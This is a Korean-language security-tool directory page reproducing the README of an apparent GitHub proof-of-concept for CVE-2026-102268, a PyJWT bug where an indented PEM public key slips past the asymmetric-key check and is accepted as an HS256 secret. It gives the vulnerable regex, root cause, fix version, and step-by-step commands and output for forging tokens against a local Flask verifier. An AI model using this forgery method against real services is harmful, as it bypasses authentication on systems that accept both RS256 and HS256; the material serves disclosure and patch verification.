Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-102268-poc — CVE-2026-102-268 (PyJWT 비대칭 PEM 탐지 우회)에 대한 익스플로잇 가능성 PoC. | Kitploit
도구/GitHubGitHub/covepseng/cve-2026-102268-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & Education
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

CVE-2026-102-268 (PyJWT 비대칭 PEM 탐지 우회)에 대한 익스플로잇 가능성 PoC.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-102268 — PyJWT 비대칭 PEM 탐지 우회

익스플로잇 가능성 분석 결과: 근본 원인이 확인되었으며 엔드투엔드 익스플로잇이 재현 가능합니다. 공백이 변형된 PEM 공개 키는 PyJWT의 is_pem_format() 가드를 우회하여 유효한 HMAC 시크릿으로 허용되며, RS256과 HS256을 함께 허용 목록에 등록한 모든 검증자에 대해 완전한 HS256 토큰 위조를 가능하게 합니다. 자세한 내용은 분석을 참조하세요.


목차

  • 개요
  • 영향받는 버전
  • 근본 원인
  • 분석
  • 저장소 구조
  • 요구 사항
  • 사용법
  • 예상 출력
  • 참고 자료
  • 면책 조항

개요

CVE-2026-102268은 PyJWT의 알고리즘 혼동 취약점입니다. 키를 HMAC 시크릿으로 사용하기 전에 HMACAlgorithm.prepare_key()는 is_pem_format()을 호출하여 PEM 인코딩된 비대칭 키나 인증서처럼 보이는 키를 거부합니다 — 이는 RS256/HS256 혼동 공격에 대한 표준 방어입니다.

is_pem_format()은 키 본문과 BEGIN/END 마커 사이에 정확한 \r?\n 인접성을 요구하는 단일 정규식입니다. cryptography의 자체 PEM 로더에는 그러한 요구 사항이 없습니다. 마커에 인접한 공백, CR만 있는 줄 종결자, 또는 한 줄로 접힌 PEM 파일은 cryptography.load_pem_public_key()에 의해 완벽하게 유효한 키로 파싱되지만, is_pem_format()은 동일한 바이트에 대해 False를 반환합니다.

그 결과: 비대칭 키 가드가 절대 작동하지 않고, 공개 키가 HMAC 시크릿으로 허용되며, 정의상 공개된 그 공개 키를 보유한 누구나 RS256과 HS256을 모두 허용 목록에 등록한 모든 검증자에 대해 유효한 HS256 토큰을 발행할 수 있습니다.

이 저장소에는 최소한의 Flask 검증자와 해당 주장을 엔드투엔드로 확인할 수 있는 재현 키가 포함되어 있습니다.


영향받는 버전

영향받는 범위수정된 버전
< 2.14.02.14.0

근본 원인

jwt/utils.py의 취약한 검사 (2.14.0 이전 모든 버전):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

이를 게이팅하는 jwt/algorithms.py의 코드:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

정규식의 [- ] 구분자는 마커 대시에 직접 인접한 단일 대시 또는 공백만 허용합니다. 키 본문의 후행 줄 바꿈과 END 마커 사이에 위치한 다른 공백 — 들여쓰기, 잘못된 \r, 다시 줄 바꿈된 단일 줄 — 은 매치를 실패하게 만들어, cryptography가 문제없이 파싱하는 파일에 대해 is_pem_format()이 False를 보고합니다.

수정 사항 (커밋 8b4e233, 2.14.0에서 릴리스됨)은 정규식을 지원되는 BEGIN/END 마커 집합에 대한 단일 패스 스캐너로 교체하여 정확한 줄 바꿈 인접성에 의존하지 않도록 합니다 — 이 우회를 차단하고, 동일한 변경으로 같은 함수의 관련 ReDoS도 해결합니다 (CVE-2026-102270).


분석

이 저장소의 public_key.pem은 평범한 2048비트 RSA 공개 키이지만 한 가지 변경이 있습니다: -----END PUBLIC KEY----- 줄이 네 칸 들여쓰기되어 있습니다.

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

utils.py를 실행하면 Flask 앱과 무관하게 라이브러리에 대해 직접 우회를 확인할 수 있습니다:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256")가 성공합니다. 패치된 PyJWT(≥ 2.14.0)에서는 동일한 호출이 InvalidKeyError를 발생시킵니다 — is_pem_format()이 들여쓰기와 무관하게 파일을 PEM 키로 올바르게 표시하고, HMAC 경로가 이를 거부합니다. 여기서는 그렇지 않습니다: 네 칸 들여쓰기만으로 정규식이 놓치게 되어, 공개 키 바이트가 일반 HMAC 시크릿으로 허용됩니다.

app.py는 실제 환경의 전제 조건을 재현합니다 — algorithms 허용 목록에 비대칭 및 대칭 알고리즘을 혼합한 검증자:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

utils.py의 접근 방식으로 위조된 토큰을 /verify에 제출하면 허용됩니다: /verify는 200과 위조된 클레임을 반환하며, 이는 개인 키를 보유한 사람이 서명한 적 없는 토큰입니다.


저장소 구조

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

요구 사항

도구버전비고
Podman≥ 4.0Docker도 작동함
Python≥ 3.9utils.py를 로컬에서 실행할 때만 필요
curlany/verify를 직접 테스트할 때 사용

사용법

1. 컨테이너 빌드 및 시작

podman-compose up -d

몇 초 기다린 후 서비스가 실행 중인지 확인합니다:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. 공개 키로 토큰 위조

python utils.py

이것은 public_key.pem으로 HS256을 사용하여 {"some": "payload"}에 서명하고 결과 JWT를 출력합니다 — 위조 프리미티브입니다. 인코딩된 토큰을 복사하세요.

3. 위조된 토큰을 검증자에 제출

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. 정리

podman-compose down

수정 사항 확인

requirements.txt에 고정된 2.4.0 대신 PyJWT>=2.14.0을 설치한 상태에서 2단계를 반복합니다. jwt.encode()는 토큰이 생성되기 전에 InvalidKeyError를 발생시킵니다.


예상 출력

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...

[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
    {"message": "Access granted", "payload": {"some": "payload"}}

    is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
    guard in HMACAlgorithm.prepare_key() never fired.
============================================================

참고 자료

자료링크
GitHub Advisoryhttps://github.com/advisories/GHSA-ffc3-869f-jxw9
수정 커밋https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07
관련 ReDoS 권고 (동일 수정)https://github.com/advisories/GHSA-jwrc-g2q2-pq5p
PyJWT 2.14.0 릴리스https://github.com/jpadilla/pyjwt/releases/tag/2.14.0
jwt/algorithms.py (main)https://github.com/jpadilla/pyjwt/blob/master/jwt/algorithms.py
전체 분석 — 블로그 게시물https://return-zero.dev/posts/cve-2026-102268

면책 조항

이 저장소는 교육 목적 및 로컬 익스플로잇 가능성 분석 전용입니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않았거나 명시적인 서면 승인을 받지 않은 시스템에 대해 이 PoC를 실행하지 마십시오.

도구 다운로드